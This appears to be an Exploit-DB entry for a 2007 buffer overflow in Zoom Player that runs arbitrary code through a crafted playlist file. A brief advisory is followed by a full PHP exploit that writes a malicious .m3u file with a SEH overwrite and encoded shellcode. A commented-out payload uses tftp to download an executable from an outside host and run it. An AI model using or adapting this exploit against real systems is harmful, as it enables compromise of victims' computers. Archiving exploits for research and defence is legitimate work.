Zoom Player 3.30/5/6 Crafted ZPL File Error Message Arbitrary Code Execution

2007-12-24T00:00:00
ID EDB-ID:30933
Type exploitdb
Reporter Luigi Auriemma
Modified 2007-12-24T00:00:00

Description

Zoom Player 3.30/5/6 Crafted ZPL File Error Message Arbitrary Code Execution. CVE-2007-6533. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/27007/info

Zoom Player is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects Zoom Player 6.00 beta 2 and all releases contained in the Zoom Player 5 branch.

<?php
/*
  Zoom Player Pro v.3.30 .m3u file buffer overflow exploit (seh)
  by Nine:Situations:Group::surfista

  seems the same of http://secunia.com/advisories/28214/
  bug found by Luigi Auriemma
  no full working exploit out, so I made my test version
/*
/*
//original shellcode, 27 bytes + command
//re-encode with
//alpha2 --unicode ecx <sh.txt
$scode =
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c tftp -i 192.168.0.1 GET s s.exe && s && ".
"\xff";
*/

$_scode="IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1".
        "AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhkMC1Kn".
        "QWPnpNQGP3XPCPJaCEkJmo5TFsLYoHSNQUpiXgxyoKOKOosPmOtKpNOQSKp1d36rTp".
        "pkpNMpimPNQp9nRlnnQP6lxNNlplnP1MPPGQ524O0RSO02SnN35rXPeKpLfKvKp43kpkvmVMPkOA";

$buff="\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f".
      "\x77\x77\x77".
       str_repeat("\x61",0xfe8).
       /* unicode preamble, alignment */
       "\x6e".                      //add byte ptr [esi],ch, nop equivalent [*]
       "\xd3\x45".                  //0x004500d3  unicode friendly pop - pop - ret, zplayer.exe
       "\x6e".                      //*
       "\x05\x7f\x4c".              //add eax,4c007f00h
       "\x6e".                      //*
       "\x2d\x59\x4c".              //sub eax,4c005900h
       "\x6e".                      //*
       "\x50".                      //push eax
       "\x6e".                      //*
       "\x59".                      //pop ecx
       str_repeat("\x6e\x90",0x7f). //nop
       "\x6e".                      //*
       "\x6a".                      //push 0, nop equivalent
       $_scode.
       str_repeat("\x90",0xbb8);
$_fp=@fopen("pwn.m3u","w+");
if (!$_fp) { die("[:(] Failed to create file...");}
fputs($_fp,$buff);
fclose($_fp);
print("[:)] Done!");
?>